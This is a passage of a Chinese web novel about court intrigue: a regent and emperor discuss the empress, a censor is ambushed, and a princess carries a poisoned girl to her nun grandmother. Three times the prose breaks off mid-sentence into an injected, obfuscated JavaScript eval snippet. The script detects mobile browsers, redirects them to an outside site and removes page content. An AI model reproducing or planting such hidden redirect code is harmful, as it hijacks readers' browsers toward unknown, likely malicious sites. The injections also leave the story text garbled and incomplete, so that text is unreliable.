谢郯照例问了两句校场操练得如何,萧盈也问了问太尉身体有否好转。闲话没叙两句,谢郯果然就说到了王执瑈身上。说得倒还是挺委婉的,但意思很明确,太医说王执瑈惊惧过度,又兼缺眠少食,已有失魂之相,就算能治好,以后恐怕也心智不全。谢郯今日过来,就是跟陛下议一议。御史中丞已被太后派去了荆州,还不知道好好的女儿已成了这副情形。 “婚姻大事自然是由长辈做主。”萧盈斟酌着,装作不经意地试探了一句,“此事该去找太后商议。” 谢郯:“陛下都知道给臣下指婚,怎么自己的婚事倒往外推?” 萧盈什么都没探出来,只好笑笑,给谢郯添茶。 谢郯又道:“现在要紧的是安抚御史中丞。天下父母心,谁都不舍得看见自家女儿成了这样,若此时还要退婚,显得天家薄情,老臣也没脸去见王家…… 萧盈微微垂眼,舌尖抵在牙齿后面犹豫了片刻,下了狠心一般,忽然打断了他:“眼下若想保住王氏女的性命,恐怕只有尽快另立皇后了。” 谢郯好一会儿没接话,指腹轻轻地在萧盈给他倒的茶杯沿口转了转,脸上看不出是什么情绪。 自从谢郯去年病了那一场,他心里就急迫起来,想替天子筹备着亲政。萧盈也没有辜负他的期望,一步一步非常审慎,每露一手都要看着太尉的脸色。谢郯既欣慰于他长大了,也得意于他心中仍有对太父的敬畏。所以撮合袁、桓两家的事情上,萧盈哭一哭,谢郯也就让了。 但在关于太后的事情上,这是萧盈第一次跟他把话挑得这么明白。 君臣二人无言相望片刻,好一会儿,谢郯才举杯饮茶,答非所问了一句:“上阳宫夜夜闹鬼也不是办法,老臣来挑个日子,请瓦官寺的高僧来做场法事吧。” 萧盈也不动声色:“朕记得,太后为着慈安比丘尼的缘故,对瓦官寺成见颇深。” 谢郯只道:“又不是请她母亲来做法事。” 萧盈不语,只垂下眼睛喝茶,心里已明白了谢郯的态度。 他很清楚太后在玩什么把戏,这场法事就是他对太后的敲打,不过也仅此而已了,太尉不会把事情揭到明面上。萧盈能利用他的心软,就不得不面对,有的时候谢郯对太后也有同样的心软这个事实。 又或者,这份柔软背后还有一点别的什么。他既要萧盈亲政,又要女儿还能坐在太后的位置上。既要匡正辅道的清名,又要煊赫权势不倒。 萧盈在茶盏的掩饰下轻轻勾起了嘴角,眼睛一瞬不瞬地盯着面前熟悉的人。好像能把他的每一根发丝、每一条皱纹,还有他那包裹在温情下的贪婪,揉进了慈爱里的权欲,都一丝不差地看进眼底,然后酿成乖顺的笑容,轻声道:“全凭太父做主。” 谢郯好像终于反应过来什么,又道:“当然,王氏女若真是心智再难恢复,也不能委屈了陛下。” 萧盈摇了摇头:“立后是国家大事,朕不会光凭一己喜好……” 他的话没说完,便被谢郯的咳嗽声打断。萧盈赶紧跪直了身体,越过两人之间的案几去拍谢郯的背。谢郯摇了摇头,紧紧地攥住了他的手。 太尉一辈子只执过笔,手上没有一点弓马留下的痕迹。倒是攥着年轻人的手时,触到了拇指上被弓弦磨破的一块皮,已落了痂,生出粉色的嫩肉来。 谢郯咳声渐止,却还是握着萧盈的手,好一阵都没肯放开。 “上阳宫怨魂作乱,也是个示警。”谢郯突然道,“若是帝后不谐,都闹到梁宣帝和姜皇后那般,于国家何幸?陛下还是要挑自己喜欢的女子才好,家世差些也不要紧,封个妃也就是了。” “太父方才还说呢,梁宣帝与姜皇后之祸不就是宠妃闹出来的?” “那王氏女若真是痴傻了,想必也不会妒忌。”谢郯终于松开了他的手,难得笑了笑,“建康的贵女们不是都已去校场转过一圈了么?陛下就没有看上的?” 萧盈重新坐好,只道:“没有,她们都是去看嫖姚都尉的。” 谢郯突然像小时候那样唤他:“盈儿……” “还是太父做主吧。”萧盈又说了一遍,“立后立的是平衡世家,朝局安定。无论太父最后选的还是不是王氏女,朕都会与她相敬如宾,鱼水和谐。” 谢郯似是还想说什么,但张了张嘴,最终还是又闭上了。他把萧盈教得太好了,他会是一个非常合格的君王。可不知道为什么,谢郯心里竟然升起一股说不出来的失落,萧盈嘴里说全凭他做主,听起来却像一个一直要他扶着的孩子,突然甩开了他的手。 “也好,”谢郯没话了,“等王诃回来,便下立后诏书吧。” 咳声又起,谢郯抬袖相掩,另一只手在桌上摸了摸,没抓到方才那杯茶。于是萧盈抬起手,轻轻地将茶杯送进了谢郯手心。谢郯微怔,咳声停了下来,只见萧盈笑了笑,自己也举起了面前的茶。 “那便等御史中丞回来。” 两盏轻轻相触,青瓷发出清越的一响。盏中的酒被荡出来,一下子泼了持酒之人满身。 “哎呀!”邓霄匆匆立起,作势要替王诃擦衣。但是他已醉得厉害,站起来也是摇摇晃晃,反而要王诃来扶着他。两个醉鬼靠在一处,彼此对望了一眼,都哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909777|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大笑起来。房里烧着碳炉,又是热酒又是热汤,把两人都吃出了一身的汗。 此行尚算顺利。王诃带着三百精兵,握了太后的明谕,若长沙王抗拒,则就地诛杀;若长沙王听到要立他的儿子就神志突然清楚了,也杀。原本以为是个怎么都无解的死局,但萧忞完全没有按照谢拂霜的预期走。他似乎以为如今在帝位上的还是兄长萧忨,听见那句“沉疴难愈”,便伤心得哭闹不休。王诃跟疯子说不通,纠缠半晌,只好去找他母亲李姬。李姬自然是不敢违抗太后的命令,安抚住了长沙王,又安排了最年长的两个孙儿跟着进京。 王诃上了一道奏疏如实奏报,安顿好了长沙王一家,准备上路了,邓霄又来请。 王诃与他早年便有些交情,吃顿饭践行是常理。更何况最近御史台屡至荆州,邓霄也从未为难,王诃心中已然是解除了他与长沙王勾结谋逆的嫌疑,于是并未多想,坦然赴宴。 两杯酒下肚,邓霄便与他推心置腹。说来说去,还是气不过袁增的构陷。此人自诩怀才不遇,实则恃才傲物,屡犯军纪——邓霄抓着王诃的手,恨不得要把一颗心都挖出来,交到御史中丞手上。那袁增,多年只是个护军,并非是他邓某人有眼无珠,这都是有凭据的呀!——说得王诃连连点头。邓霄马上又哭出来,同样哭得恳切万分,说袁增害得他左右不是人——“邓某如今只有一死明志了!” 他说到这里就要去拔剑,嚷嚷着非要王诃把他的头颅带回去交差。王诃让他激得起了性,酒意一发,同他勾肩搭背,称兄道弟,只让他放心。袁增势利小人,靠着谢太尉不够,又去攀附桓家……等他回去告上一状,看这小人怎么死!谢太尉又怎么样?就能一手遮天了?——王诃此时已有些大舌头了。“他谢郯有如今之势,全该谢谢我姑母!倒把我姑母逼得出了家,把我王家一脚蹬开……” 他喃喃着,已不知说到哪里去了。只觉得热得厉害,直扒身上的衣服,扒了一半,才指着邓霄,明白了什么似的。 “寒食散。”王诃眯着眼睛笑,手指在邓霄面前晃,“邓兄,原来你也是同道中人……” 邓霄只是笑着,并不言语。王诃一个趔趄,整个人往前扑,被一双手臂捞住。王诃眼前天花乱坠一般,只看到扶着他的那双手白皙如玉,尤胜女子,一时着了迷似的,手便摸了上去。沿着手背一路钻进袖中,那人也不躲,只是轻声道:“子颜,小心。” 王诃把手抬起来,摸了摸面前那人光滑的脸:“邓兄,你的髯须呢?” “邓霄”没回答他,只是把手抽了回去:“将军如今肯信我了吧?太后连戏都不愿意做全套,根本没有处置袁增的意思。” 王诃困惑地眨了眨眼,发现房中竟然站了两个邓霄。不对,另一个不是邓霄。王诃极力地睁大眼睛,想看清那个人的样子。这人是什么时候进来的?他怎会开口就称自己的表字…… “处置……什么?”王诃又往前踉跄了一步,瞪大了眼睛,“你是……?” 那人还在说话,声音很轻,像蛇一样,往人心里钻:“袁增活一日,将军就险一日;袁增平步青云,将军就万劫不复……” 王诃打了个寒颤,酒意和寒食散带来的燥热都被恐惧驱了个干净。他突然认出了此人是谁,也突然明白了他为什么会在这里。王诃一个字都没有说,没有浪费一丁点儿时间发出徒劳的指控,当机立断,转头就跑。 方千绪转过头,好像才想起来王诃还在,突然很惋惜似的:“子颜,你老实待着多好。” 王诃已经冲到了门口,不顾衣|不|蔽|体,猛地拉开了门闩想往外跑。一道寒光等了许久似的,精准地劈到了他面前,然后又堪堪停住,正悬在他额间。王诃喉咙里发出被噎住了似的声音,浑身僵直地被刀光逼得往后退,一直重新退回了房间里。持刀的人也随之抬脚,走到了明亮的烛光下。 长沙王一身戎装,歪着头,朝王诃露出了一个微笑。 13.第 13 章 只听“铛”的一声,明绰被佛钵的声音震了一下,香抖下来一点香灰,落在她的虎口上,当即烫出了一块红痕。但是明绰什么都没说,郑重地在佛前三拜,每一个头都磕到了实处。 梁芸姑在一旁轻声道:“长公主,天家合十为礼即可,不必跪拜。” 明绰只当没听见,在蒲团上跪直,额头轻轻地点到合十的指尖,随着外面瓦罐寺高僧们的念经声轻轻地跟着祈祷。 这一个多月以来,王执瑈一直卧床不起,神志不清,原本来施过针的太医也是摇头,无计可施的模样。姜皇后怨魂作乱的事情如今是越传越真,上阳宫里几乎每天晚上都有人能看见那可怕的鬼影。 今日的水陆道场便是谢太尉安排的,但太后不在,上阳宫眼下以东乡公主为尊,由她来主持这场法事。 梁芸姑看着念念有词的明绰,又劝了一句:“长公主,怨魂自有高僧超度……” 明绰停了下来,只道:“我不是在超度。” 梁芸姑一愣,明绰抬头看了她一眼,眼神中有一抹平静的了然,让梁芸姑心里陡然一震,一时竟不敢与她对视。 上阳宫恐怕没有人比明绰更清楚,根本就没有什么姜皇后。最开始的那个鬼影就是她扮的,只是为了吓唬吓唬王执瑈。而在王执瑈第二次见鬼的那一天,太后突然提前她接进了自己的寝宫。 明绰偷偷跑回自己屋里去查看过了,那晚吓唬过王执瑈以后,她把缝着白绫的那件衣服塞在了床后的一个木箱里。那件衣服果然不见了,那她猜,自己殿里伺候的几个人应该也都知情。她还去偷过灵芝给王执瑈送去的饭食,喂给了上阳宫墙角边上的一窝小猫。一共三只,吃下去没多久就抽搐、呕吐,然后躁狂不堪,没命地抓咬,不出半天全都死了。那么,灵芝也知情。 到这地步,明绰便知道,梁芸姑肯定也是知情的人了。以母后对她的信任和倚重,说不定还是她出的主意。 那天晚上,她带着手上和腿上好几条血淋淋的抓痕回去。太后看出她的不高兴,问了她许久怎么回事。那么温柔,那么细致的母后,如果不是小猫痛苦的哀嚎还在耳畔,明绰几乎要以为一切都是她幻想出来的。 她被抓伤的腿只有梁芸姑看见了。太后去朝会议事,明绰把被子盖过头顶,以为自己的痛哭是无声的,直到梁芸姑担心地掀开她的被子,她才意识到她哭得有多么心碎。 谢拂霜从小把她带在身边,她不知道见过母后下过多少次要人性命的令,但那永远只是一句话,两页纸,几行字,她从来没见过令箭另一头的那些人。 她是不喜欢王执瑈,也是巴不得王执瑈做不成皇后。可她从来没有、绝对没有,哪怕是一瞬间,想过要王执瑈的命。 “王执瑈一定得死吗?”那一天,明绰这样问了梁芸姑,“还是做不成皇后就可以?” 可是梁芸姑未答。 于是明绰又问:“是王执瑈不可以,还是谁都不可以?” “长公主,”梁芸姑唤了她一声,“这不关你的事。” “且不说王家是母后的舅家,”明绰看着她,“他们家还有开国的功勋,御史中丞位列三公,族中子侄遍布朝野,这样人家的女儿……” “长公主!” “到底还有什么是母后不敢做的!” “东乡!”梁芸姑厉声打断,脸色是她从未见过的严厉,“她做的一切都是为了你!” 梁芸姑原本握着她的手,但明绰把自己的手抽了出来,抵着床沿把自己撑住,两脚落了地。 “是为了我,还是为了和皇兄争权?” 梁芸姑坐在床边,竟感到了一丝眩晕。小公主什么时候也这样高了?她陪着小公主寒来暑往地去含清宫上课,看着她跟太尉辩朝政,跟陛下解时局,却从来没有哪一刻像现在这样发现公主已经长得这样大,大到什么都懂,又什么都不懂。 “太后要是听见公主这样说,会伤心的。” 唱经声逐渐弱下来,似是告了一段落,梁芸姑把明绰从蒲团上扶起来。两个身披袈裟的僧人走进来,一人持念珠,一人持佛钵,朝明绰行了个佛礼。明绰也跟进去,只见持佛珠的人僧人念念有词,另一位则从佛钵里取水来洒在王执瑈床前。王家老妪也跪在床边,眼睛闭得紧紧的,一边落泪,一边跟着念经。 王执瑈还躺在床上,双眼微阖,手从袖子里露出来,本来的大美人,此时已如枯槁死木。 “父亲……”明绰突然听见床上的人微弱地唤了一声。她下意识地上前一步,梁芸姑伸手也没拉住她,明绰已走到了王执瑈床前。 王执瑈似是对这脚步声有了反应,虚弱地抬起了手,明绰赶紧抓住,听见她又叫了一遍,“父亲……” “王大人就快回来了。”明绰低声安慰她。 王执瑈摇了摇头。她似是有了一点力气,强撑着歪过头,看着房外面一点,几乎是哀泣着,又喊:“父亲!” 明绰也顺着王执瑈的视线转过了头,那里什么人都没有。 “姐姐,你看见了什么?” 僧人念经的声音一下子更快,更响了起来。王老妪似乎是明白了什么,捂着嘴,瞪大了眼睛。 王执瑈没了力气,又倒回床上,一行眼泪从她的眼角滚了出来。她的嘴唇动了动,但声音被念经声淹没,听不清楚。明绰不得不俯身挨到她唇边,才听清了她的话。 “父亲回不来了……” “姐姐不要多想,”明绰紧张地摩挲着王执瑈的手,“御史中丞带了三百人,长沙王又不设府兵……” 然而王执瑈根本不听她的,只望着虚空里喃喃自语:“别走……带我一起回家……” 明绰一下子就忘了自己刚才说的话,几乎是扑到了王执瑈身上,好像摁住她就能留住她行将出窍的一缕魂:“不行!姐姐你不能跟他走!” 更多的眼泪从王执瑈眼中流下来,她似是多了两分力气,说的话响了一些:“你把女儿送进……送进这不见天日……女儿尽过孝了……” 王老妪一声声哭着,也扑了上来。明绰被她推了一把,险些摔到地上,梁芸姑立刻上来扶住了她。房里一时哭声骤起,僧人的念经声不知道什么时候已经停了,那持钵的僧人垂了首,眼里只是无限的叹息:“阿弥陀佛。” 明绰突然站起来就往外走,梁芸姑紧张地跟在她身后,看见她跨出门槛的时候几乎一个趔趄,好险她及时伸出手扶住,才没有摔下去。明绰的手心不知道何时已经汗津津的,梁芸姑一抓就是一把寒意。门外的小沙弥们已经收拾了师父用的法器,垂头等着。偏殿旁有两架马车,都挂着宫里特批的木牌通行令,是这次瓦官寺的僧人们所乘。 “母后在哪里?”她突然转头问梁芸姑。 梁芸姑:“庾夫人邀了太后过府。” 明绰点了点头,那就是太父的意思了。谢拂霜当年曾在瓦官寺与慈安比丘尼争执,口不择言地说了许多不敬佛祖的话。她拦不住谢郯办这劳什子法事,磋磨几个僧人还是不在话下的,想来是谢郯先见之明,干脆支开她。 明绰安静了一会儿,也不知道怎么了,突然手撑着额头,好像晕得厉害,整个人往下倒。这已是她片刻之间第二次站不稳,梁芸姑惊得张嘴就想叫人,但明绰白着脸,喘不上来气似的,只道:“芸姑,你去……去叫母后……” “长公主哪里难受?传太医——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916928|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不!”明绰的眼泪簌簌而下,“我要母后!你快去!” 梁芸姑为难地原地踌躇片刻。东乡公主是太后的心尖子,从小到大,有点儿不舒服都要跟太后撒娇,旁的人谁哄都不行。梁芸姑扶着她靠住门槛,见她尚能自己站着,便微微屈膝,道了声“喏”,跑着走了。 她的身影刚刚消失,明绰就飞快地抹了一把脸,转身又进了王执瑈的房间。两个僧人已改成跪坐在她床头念经,也不洒水,也不驱邪了,瞧着床上的人有气进没气出的样子,倒像是提前在超度她。 明绰果断地拨开两个僧人,动作麻利地把被子掖到王执瑈身下。王老妪惊得说不出话,只看着她的动作,被明绰不耐烦地喝了一声:“还不帮忙!” 王老妪茫然地上手,跟着她的动作把王执瑈整个身体包裹进了被子里。然后明绰想把她抱起来,可是王执瑈瞧着就剩一把枯骨了,掂在手里还是沉,她一个堪堪长成的少女,和一个路都走不稳的老妪,加起来都没法把王执瑈抱稳当。 明绰喘了两口气,转头看向旁边两个一脸震惊的僧人:“劳烦二位大师把王小姐挪到车上。” “这…?” 明绰舔了舔嘴唇,视线从一个和尚脸上挪到另一个和尚脸上,突然把脸一沉,道:“二位大师是要违抗皇命不成?” 这话一出,两位僧人再未多言,年纪稍轻的那位俯身隔着被子,轻轻一抱就把王执瑈托了起来。明绰跟在他们身后,眼看着他们把王执瑈稳稳当当地放在了车里,再把那个不明所以的王老妪也推上了车,这才对着那两位僧人交代:“把她们一起带回瓦官寺……” 她话还未说完,那老妪已惊叫了一声:“瓦官寺?!” 明绰没理她,续道:“去见慈安比丘尼,请她立刻为王氏女剃度。” 王老妪的声音更尖地扬起来:“不行的不行的!我家小姐不能出家——” 明绰厉声打断她:“这是唯一救她命的办法!” 王老妪被她的声色俱厉吓得一缩。那些小沙弥们都好奇地张望着,本来不敢上前,见没人约束,就不知不觉地靠近了过来。 “长公主请听小僧一言。”那个把王执瑈抱过来的僧人合十为礼,“慈安比丘尼常年在龙盘山上清修,从来不收弟子。小僧若是贸然将王施主送去,恐怕……”他停下来,露出一个为难的神色。 恐怕慈安不会接受,太后也不会放过瓦官寺上下。 他小声问:“长公主可有太后的明令谕旨?” 明绰张了张嘴,焦虑地抓了抓额头,又闭上了嘴。她当然没有谕旨,她甚至没有多少时间。这是她能在片刻之间想到的唯一的主意——王执瑈只要还有一口气在,谢郯就会立她做皇后,而谢拂霜又绝对不会允许王家站到萧盈那边去,这样僵持下去,王执瑈死路一条。只有慈安,王执瑈是她的侄孙女,谢拂霜又是她的亲生女儿,她是唯一有动机、也有能力救王执瑈命的人。 那僧人看着明绰的神色,又道:“要么,长公主手书一封,小僧转交给慈安比丘尼……” 明绰看了这僧人一眼。她从来没有见过慈安,一封来自她的信,能有多大的面子?但是所有人都盯着她,两位高僧,一群小沙弥,无措的老妪。唯一不在看她的是王执瑈,她的身体被淹没在被褥下,薄得像一片随时都要被压碎的枯叶。 她跪在佛前的时候许了愿,求神佛原谅母后。若有报应,都加诸在她的身上就好了,这件事从一开始就是她的错。 僧人又唤了一声:“长公主?” 明绰突然提起裙裾,动作敏捷地跳上了车。 “快走,”她催促道,“我亲自去求外祖母!” 14.第 14 章 瓦官寺虽已在建康城外,但香火鼎盛,还算得上是车马好行。龙盘山在瓦官寺后面,已是少有人至,而慈安清修之地又隔着一个山头,马车最多只能送把她们送到平日里挑夫歇脚的地方,再要上去,就只能靠人力。 小沙弥们到了瓦官寺就没再跟来,今日操持法事的慧净和尚把她们送来,说是去借匹骡马,让明绰、王执瑈和那老妪留在这里等着。可是明绰和王老妪一左一右地撑着王执瑈坐在一块大石上,眼看着天色一点一点暗了下来,慧净也没有回来。 “长公主,”那老妪壮着胆子,又说了一遍,“不然还是送我们家小姐回家吧……” 明绰摇了摇头,实在懒得再跟她解释一遍。 梁芸姑不会自己跑出宫去太尉府,多是去找个小黄门通传,用不了多久就会回来。等她回来,发现所有人都不见了就会明白是怎么回事,恐怕她们的马车还没出建康城的时候,梁芸姑已经闯进御史中丞家里要人了。那里找不到人,太后就会查马车的去向,如果明绰算得不错,此刻瓦官寺已经被执金吾卫围得水泄不通了。 “走吧。”明绰突然站了起来,“那和尚不会来了。” 往好处想,慧净只是没机会送骡马来;往坏处想的话,也许再等一会儿,太后的人就来了。 明绰转过身去,屈下膝,气沉丹田,给自己鼓了把劲:“我背她上去。” “不不不……”王老妪吓了一跳,“还是老奴来……” 她说着就想自己去背王执瑈,但王执瑈连坐都坐不住,她一松手,人就往后倒。王老妪把人扶住,她身上的被褥就往下掉。手忙脚乱了半天,实在是没了法子,只好含着泪,扶着王执瑈趴到了明绰背上。 “王姐姐,”明绰咬了咬牙,硬是撑住一口气,把人背了起来,“你若是还有神智,就抱紧我。” 趴在她身上的人没回答,好一会儿,那双枯木似的手伸了出来,攀住了明绰的脖子,后脑被王老妪托着向前,无力地靠在了明绰的肩上。明绰撑住身边的大石,靠着王老妪帮忙托了一把,一使力,竟然真的背着王执瑈站了起来。 明绰举步就走,但山路是往上的,她自己走都艰难,背着个人更是摇摇晃晃。她又怕把王执瑈摔了,使力使得牙关要咬碎了,也没走上几步。王执瑈好像又失去了意识,抱着她脖子的手又松了,明绰只感到她身上的重量突然滑了下去。她本是前倾着使力,那重量一消失,她整个人便往前跌了一跤。 王老妪也在她身后惊叫了一声,明绰惊魂未定地转身,却见一个高大的人影不知什么时候跟到了她们身后,稳稳地托住了王执瑈。 “你……”明绰说不出话来。 这人也是佛门打扮,头上蓄了发,像个俗家居士的模样。瞧着应该也有四十来岁了,但实在生得太好,称得上风姿卓绝。那份瘦高白皙,明绰只在萧盈身上见过,只是萧盈那种是透着青白的病气,此人却是一种瓷样的冷硬。并不羸弱,只是不像凡尘中人,无怪王家老妪念了一声佛,还以为是佛子显了灵。 那人看了看明绰,又看了看王家老妪,飞快地判断出了谁是主,谁是仆,一手扶住王执瑈,一手朝明绰持了佛礼,颔首问好。 “佛门檀越,慧玄。” 明绰终于想起来喘了口气。他和慧净同字辈,看来此人辈分不低。她赶紧合十为礼:“慧玄大师好,我是……” 她愣了一下,一时不知应不应该说实话。但是慧玄看起来对她是谁也不是很感兴趣,只是示意她和老妪扶住王执瑈,然后自己转身屈膝。明绰这才反应过来,赶紧和老妪两个把王执瑈扶到了慧玄背上。在身量高大的成年男子那里,王执瑈简直就和一团浮云那么轻。慧玄背着她往山路上走,脚步甚至还比明绰快些。 明绰赶紧跟上:“多谢慧玄大师相助,我们要去找……” 她话还没说完,慧玄已经接了口:“慈安。” 明绰一怔:“大师怎么知道的?” “走这条路都是去找慈安的。” 明绰被他的言外之意一惊:“山上只有她一个人吗?” 慧玄了然地一笑:“若是和从前在太尉府里一样,前呼后拥,仆役如云,还清修什么呢?” “那也不能就一个人……”明绰难以想象慈安要如何在山上过活。 “慈安在山上种了菜,”慧玄知道她在想什么似的,“脚夫每隔两日上山,寺中还常有僧尼来与她论经清谈,施主不必担心。” 明绰好一会儿没说话,慧玄便也没有什么谈兴的样子。他始终没有问明绰是谁,背上这位姑娘又是谁,去找慈安是什么事,便叫明绰也不方便开口相问,又怕他知道了便不敢再相帮,只好一边跟着一边猜他的身份。 “慧玄大师也是来找慈安论经的吗?” 慧玄未答。像是点了点头,但也可能只是低头赶路,明绰无法分辨。 她只好再问:“大师是从瓦官寺过来的?” 这回慧玄答了:“檀越是俗家居士,不在寺中修行。” 明绰心里“哎呀”一声,顿觉不妙。瓦官寺是皇家佛寺,太后再生气也不会随便动出家人。但慧玄只是个俗家居士,太后追究起来,他哪里还有活路? 明绰着急地追上他的脚步,问道:“大师也不问问我们是谁吗?” 慧玄笑笑:“若不是性命攸关,小施主怎会带着病人来走这条道。救人一命胜造七级浮屠,还有什么可问的。” 王老妪也不知道明绰心里担心的是什么,只跟着念了句“阿弥陀佛”:“大师心真善。” “那我更不能拖累你了!”明绰突然往前跑了两步,拦在了慧玄身前,吐豆子般地吐了一串话出来,“大师,我是慈安的外孙女东乡公主。你背上的这个是御史中丞的女儿王执瑈,也是慈安的侄孙女。我上山是要请外祖母给她剃度的,要是我母后知道你帮了忙,肯定要杀了你!” 慧玄没说话,看了她好一会儿,只道:“原来是长公主,慧玄失礼。” 他微微低头,看起来像要给明绰行礼。明绰赶紧摆手:“不……” “那长公主的意思是……?”慧玄顿了顿,作势要放下王执瑈,可是明绰又上手扶住了病人,不叫他松手。 “但是我一定会想办法劝母后的!”明绰急得眼泪成串往下落,“也会求外祖母一起进言,让母后不要治你的罪!” 那王老妪约莫听出了是怎么回事,也急得一径哀求。但是慧玄没有理睬她,只是看着明绰,神色很是好奇:“檀越本就是要帮忙的,长公主本可以什么都不说,为何非要告知檀越有性命之忧?” 明绰擦了擦眼睛:“不告诉你就是害你。大师是好心,我不能害你。” “太后之威,谁能不怕。”慧玄勾了勾嘴角,“若是檀越就这么撂开手走了,长公主准备如何救人呢?” 明绰老老实实地摇头:“没有办法,只有求你。” “若檀越就是不敢呢?” “不会,大师不是见死不救的人!”明绰当真撩起裙摆跪了下去,“东乡求你了!” 慧玄被她的动作惊到,轻轻退了一步,眼底波澜顿起,但也只是一瞬,又恢复了平静。他站在那里,背上仍旧稳稳地托着王执瑈,就这么受了东乡公主一拜。好一会儿,突然轻笑了一声:“谢郯竟教得出你这样的丫头。” 明绰没想到他会直呼太父的名字,抬头“啊?”了一声。 “长公主起来吧。”慧玄轻轻垂眸,似笑非笑,“此事还有别的解法。” 他再没多说什么,但也没“撂开手”,稳稳当当地背着王执瑈,沿着山路一路往上走。天色已经暗得几乎看不清路了,明绰只能和那老妪互相搀扶着走,但慧玄看起来轻车熟路,好像经常来慈安这里似的。 大概闷头爬了约莫一个多时辰,蜿蜒的山路渐平,慈安的山居终于出现在视野尽头。 慧玄这才放下了王执瑈:“长公主,檀越就不露面了。” 明绰意识到了他所说“别的解法”是什么意思,又道:“大师有所不知,母后肯定已经知道我在这里,执金吾卫一会儿就到了。大师千万不要乱走,容我去和外祖母谈一谈……” 慧玄突然打断了她:“长公主还是不要和慈安提到我。” “为何?” 慧玄低头看着她,暗中看不清他的容颜,但慈安的山居里透出一灯如豆,幽幽地映在他的眼睛里,让明绰觉得他的眼神竟有一些说不出的哀伤。 “既然执金吾卫要来,长公主是不是该尽快让慈安为王施主剃度?” 明绰险些跳起来,匆匆忙忙地和那老妪一起把王执瑈架了起来,一面很不放心地回头叮嘱慧玄:“你千万别乱走!别让他们抓住你!我一定会保你的!” 慧玄站在原地,仍是含着笑,看着一老一少的身影架着个不省人事的病人进了山居。他不必进去也知道会发生什么。慈安会先拒绝,会说红尘事与她无关。然后那小丫头会苦苦哀求,以她的聪明,大概用不了三句话就看得出来,只要是能够惹怒谢郯和谢拂霜的事情,慈安都不会真的拒绝。公主也许不明白为什么,但她会利用这一点。这小丫头很有些不同寻常的本事。 是天生的机灵么?慧玄安静地思忖着,还是谢郯教出来的?他听说太后把东乡公主送进了含清宫,跟陛下一起受教于太尉。看来谢拂霜还是没有放弃她的痴心妄想,但他还以为谢郯不敢再教出第二个谢拂霜了。 一道身影快速贴近他,惊动了树丛,发出游蛇般的簌簌声。 慧玄没有转头:“山下什么情形?” 那黑影应了一声:“慧净照我们说的去回了话,东西也交出去了,左中侯没有起疑,已经撤了。” “左中侯?”慧玄有些意外,“来的不是崔中尉?” “不是。” 慧玄微微皱起眉头,若有所思。 “将军来问,要不要灭口?” “灭师兄的口?”慧玄笑了笑,“急什么?他的人头自有太后来取。佛门清净地,将军又何苦给自己造杀孽。” 那影子应了一声,无声地退了下去。 慧玄又在树影下看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“女子饿了也该吃饭,冷了也该穿衣,规矩也不能压死人。”明绰摇摇头,“再说大师是出家人,能有什么心思。” 慧玄轻轻叹气:“长公主未免太轻信于人了。” 明绰又看了他一眼,像是在掂量他这句话。但没一会儿就很放心地转回了头,只道:“执金吾卫随时会到,大师就当我是有恃无恐吧。” 嘴上平平淡淡,威胁之意却甚浓。但慧玄也没有被她恐吓到的意思,反而在暗处轻轻勾起嘴角。明绰没有公主的架子,靠坐在大石下面,脑袋差不多和他的膝盖一样高,让他几乎生出一种伸手摸一摸她的头的冲动。 “原来长公主是出来等执金吾卫。”慧玄顿了顿,突然轻声道,“慈安向来性格冷淡,长公主别往心里去。” 明绰什么都没说。外祖母性格如此,她是知道的,不然也做不到如此隔绝人世,独自苦修。可是慈安虽然答应留下王执瑈和那老妪,却要亲生的外孙女在这样黑的夜里自己下山,这样的不近人情,恐怕不是修佛的心肠。于是明绰便知道了,这不是什么红尘尽断的冷淡,她是恨。 “大师,”明绰突然问他,“她为什么这么恨我太父?” 慧玄愣了一下,好一会儿才道:“长公主为什么会问檀越?” “我猜的。”明绰手里拨弄着一根衣带,“山路难行,大师却轻车熟路,想来跟慈安很熟悉。你在这里等我,多半也是预料到她的无情,一定会赶我出来吧?” 慧玄不语,许久才轻声道:“至亲至疏夫妻,外人哪会知道这么多。” “你肯定知道。”明绰还是低着头,“你敢直呼我太父的名讳。” 她仔细想了一想,也许这个慧玄根本不需要她去母后面前作保,也许他根本就不怕太后的追责。 也许他救人的时候,就已经知道他救的是谁。 慧玄看着她,唇角的笑意渐深:“果然是天生的聪慧无极,谢郯可教不出这般的洞彻灵巧。” 他突然从石上下来,整了整衣袍。明绰也跟着站了起来。他的外袍从她的肩上垂下去,太长,拖进了泥地里。似有一阵风拂过,他们身边的树都被吹得哗哗作响。但这风未免吹得太久,明绰警觉地环顾一圈,发现林中不知何时多了几道黑影。 “檀越今日本想来见慈安,偏偏在山下就遇见了长公主,还真是有缘。”慧玄笑了笑,又转头看了一眼山居,叹了口气,“也罢,慈安放不下嗔心,红尘自会来寻她。” 明绰已没有心思听他说的是什么,林中走出来的人都穿着执金吾卫的金甲,在月下泛出幽暗的光,可他们看起来并不是她想要等的人。 “你们敢冒充执金吾卫!”明绰退了一步,终于感到了无助的恐惧,“你不是慧玄!你到底是什么人!” 